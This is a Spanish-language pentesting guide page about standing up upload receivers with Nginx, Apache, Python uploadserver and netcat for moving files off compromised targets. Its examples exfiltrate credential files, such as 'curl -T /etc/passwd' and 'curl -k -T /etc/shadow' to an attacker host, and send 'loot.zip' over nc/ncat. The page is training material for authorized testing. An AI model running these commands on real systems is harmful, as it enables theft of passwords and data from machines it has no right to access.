recibir-archivos-via-http-s
Recibir Archivos vía HTTP/S
Section titled “Recibir Archivos vía HTTP/S”Además de usar servidores Python básicos, en algunas situaciones se necesita más control sobre cómo se reciben los archivos — soporte HTTPS, autenticación, rutas específicas. Nginx y Apache permiten configurar un receptor de uploads robusto.
Nginx como receptor de uploads
Section titled “Nginx como receptor de uploads”Nginx es especialmente útil porque se puede configurar para aceptar uploads a una ruta específica sin necesitar módulos adicionales, y su configuración es muy granular.
Configuración básica para recibir uploads
Section titled “Configuración básica para recibir uploads”# Crear el directorio donde se guardarán los archivos recibidossudo mkdir -p /var/www/uploads/SecretUploadDirectorysudo chown -R www-data:www-data /var/www/uploads/SecretUploadDirectoryCrear el archivo de configuración /etc/nginx/sites-available/upload.conf:
server { listen 9001;
location /SecretUploadDirectory/ { root /var/www/uploads; dav_methods PUT; }}# Activar el sitio y reiniciar Nginxsudo ln -s /etc/nginx/sites-available/upload.conf /etc/nginx/sites-enabled/sudo systemctl restart nginx
# Verificar que está escuchandoss -lnpt | grep 9001Subir archivos con cURL (método PUT)
Section titled “Subir archivos con cURL (método PUT)”# Desde el objetivo — subir un archivocurl -T /etc/passwd http://192.168.1.100:9001/SecretUploadDirectory/passwd
# Verificar que llegótail -1 /var/log/nginx/access.logls -la /var/www/uploads/SecretUploadDirectory/Nginx con HTTPS
Section titled “Nginx con HTTPS”Para cifrar la transferencia con un certificado autofirmado:
# Generar certificadosudo openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout /etc/nginx/ssl/nginx.key \ -out /etc/nginx/ssl/nginx.crt \ -subj "/CN=upload-server"server { listen 443 ssl; ssl_certificate /etc/nginx/ssl/nginx.crt; ssl_certificate_key /etc/nginx/ssl/nginx.key;
location /SecretUploadDirectory/ { root /var/www/uploads; dav_methods PUT; }}# Subir con HTTPS (--insecure para cert autofirmado)curl -k -T /etc/shadow https://192.168.1.100/SecretUploadDirectory/shadowPython uploadserver (HTTPS)
Section titled “Python uploadserver (HTTPS)”La opción más rápida de desplegar. Ver también la página de Transferencias Protegidas para la configuración completa.
pip3 install uploadserveropenssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'sudo python3 -m uploadserver 443 --server-certificate server.pem
# Subir desde el objetivocurl -k -X POST https://192.168.1.100/upload -F 'files=@/etc/passwd'Apache como receptor
Section titled “Apache como receptor”Apache también puede configurarse para aceptar uploads, aunque requiere el módulo mod_dav.
sudo apt install apache2sudo a2enmod dav dav_fssudo mkdir -p /var/www/html/uploadssudo chown www-data:www-data /var/www/html/uploadsAñadir en /etc/apache2/sites-available/000-default.conf:
<Directory /var/www/html/uploads> Dav On Options None AuthType None Require all granted</Directory>sudo systemctl restart apache2
# Subir con cURLcurl -T archivo.zip http://192.168.1.100/uploads/archivo.zipNetcat como receptor simple
Section titled “Netcat como receptor simple”Para transferencias únicas sin necesidad de servidor HTTP:
# Receptor — escuchar y guardar todo lo que lleganc -lvnp 8080 > archivo_recibido.zip
# Emisor — enviar el archivonc -q 0 192.168.1.100 8080 < loot.zip
# Con Ncat (cifrado)ncat --recv-only -lvnp 8080 --ssl > archivo_recibido.zipncat --send-only 192.168.1.100 8080 --ssl < loot.zipComparativa de receptores
Section titled “Comparativa de receptores”| Receptor | Setup | HTTPS | Auth | Persistente |
|---|---|---|---|---|
python3 -m uploadserver |
1 comando | Sí (con cert) | No | No |
| Nginx + DAV | Config file | Sí | Opcional | Sí |
| Apache + mod_dav | Config file | Sí | Opcional | Sí |
| Netcat | 1 comando | No (Ncat sí) | No | No |
Para la mayoría de engagements,
python3 -m uploadservercon HTTPS es la solución más rápida. Nginx o Apache son preferibles si se necesita el receptor activo durante varios días o si se esperan múltiples archivos de distintos sistemas comprometidos.
Un servidor de uploads accesible desde internet sin autenticación es un riesgo operacional. Si el servidor atacante tiene IP pública, proteger siempre el endpoint con autenticación o limitando el acceso por IP para evitar que terceros suban o descarguen archivos.